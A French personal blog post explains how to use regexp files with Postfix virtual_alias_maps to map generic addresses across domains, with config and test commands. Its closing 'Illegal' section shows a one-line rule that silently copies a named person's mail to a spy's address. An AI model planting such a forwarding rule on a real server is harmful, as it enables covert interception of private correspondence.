ReLoad

Thierry Jaouen ~ WikiBlog
"Rien à foutre d'être lu, tant que je peux me relire."

Outils pour utilisateurs

Outils du site


blog:2012:08:09:postfix_regexp_et_virtual

Postfix: Regexp et Virtual

Mapper des comptes de manière plus optimisé… quoi que… Le but est de créer des comptes génériques pour un ensemble de domaines.

Par exemple: contact@<domaine1|domaine2> sera mappé avec le compte “thierry” , quelque soit le “domaine1” ou “domaine2”.

~~READMORE~~

Dans la conf de postfix, le main.cf contient déjà une ligne comme ça:

virtual_alias_maps = hash:/etc/postfix/virtual

Et ce fichier, /etc/postfix/virtual contient (extrait) :

*********************
* thierry-jaouen.fr *
*********************

thierry@tjaouen.fr       thierry
tjaouen@tjaouen.fr       thierry
titi@tjaouen.fr          thierry
tj@tjaouen.fr            thierry

Sans parler des comptes de base pour chaque domaine: “abuse” “postmaster” etc…

Pour simplifier et/ou créer des associations génériques, on peut créé un fichier, par exemple, virtual.regexp et contenant des “mappages” sous forme de regexp (attention, pas trop de rapport avec les regex à la Perl) :

# ------------------------
# Associations génériques
# ------------------------

/^abuse@(tjaouen\.fr|thierry-jaouen\.fr)$/                         abuse
/^root@(tjaouen\.fr|thierry-jaouen\.fr)$/                          root
/^(thierry|titi|tj|contact)@(tjaouen\.fr|thierry-jaouen\.fr)$/     thierry
  
# ------------
# EOF

Ou plus beau:

# ------------------------
# Associations génériques
# ------------------------
if /^[^@]+@(tjaouen\.fr|thierry-jaouen\.fr)$/
/^abuse@/                         abuse
/^root@/                          root
/^(thierry|titi|tj|contact)@/     thierry
endif

# ------------
# EOF

Tester que le fichier ci-dessus est correct: (c'est pas trop intuitif mais j'ai pas mieux)

# postmap -q "tj@tjaouen.fr" regexp:virtual.regexp
thierry
# postmap -q "root@thierry-jaouen.fr" regexp:virtual.regexp
root

On fait en sorte que ce fichier soit traité après le fichier virtual classique.

Donc, dans main.cf , on fait:

virtual_alias_maps = hash:/etc/postfix/virtual,
                     regexp:/etc/postfix/virtual.regexp

Si le fichier “virtual” a été modifié entre temps:

# postmap virtual

Rien a faire de ce genre pour “virtual.regexp” … (troublant, hein?)

Recharger la conf:

# postfix reload

Jeter un coup d'oeil dans les logs pour s'assurer que Postfix a supporté le nouveau fichier.

Voila.

Autres infos: http://www.thierry-jaouen.fr/dokuwiki/doku.php?id=serveur_postfix2

Illegal

Par mégarde, j'ai d'abord ignoré le “domaine” associé au email… jusqu'a ce que je comprenne que ce sont tout les mails qui passent par postfix qui subissent le traitement via “virtual_alias_maps” !

Donc, un truc comme ça:

/^thierry@/                    tjaouen

… fait tomber tous les mails , reçu et envoyés, quelques soit le domaine, dans la boite local “tjaouen” . Hu!

Maintenant, imaginons que l'on souhaite espionner la boite mail de Michel Sardou ou Johnny Hallyday, il suffit de faire:

/^(Michel\.Sardou@tjaouen\.fr)$/        ${1},espion@domaine-de-l-espion.fr

… et hop: une copie des mails est aussi envoyé à l'espion… gasp!

blog/2012/08/09/postfix_regexp_et_virtual.txt · Dernière modification: 2012/08/10 14:12 par thierry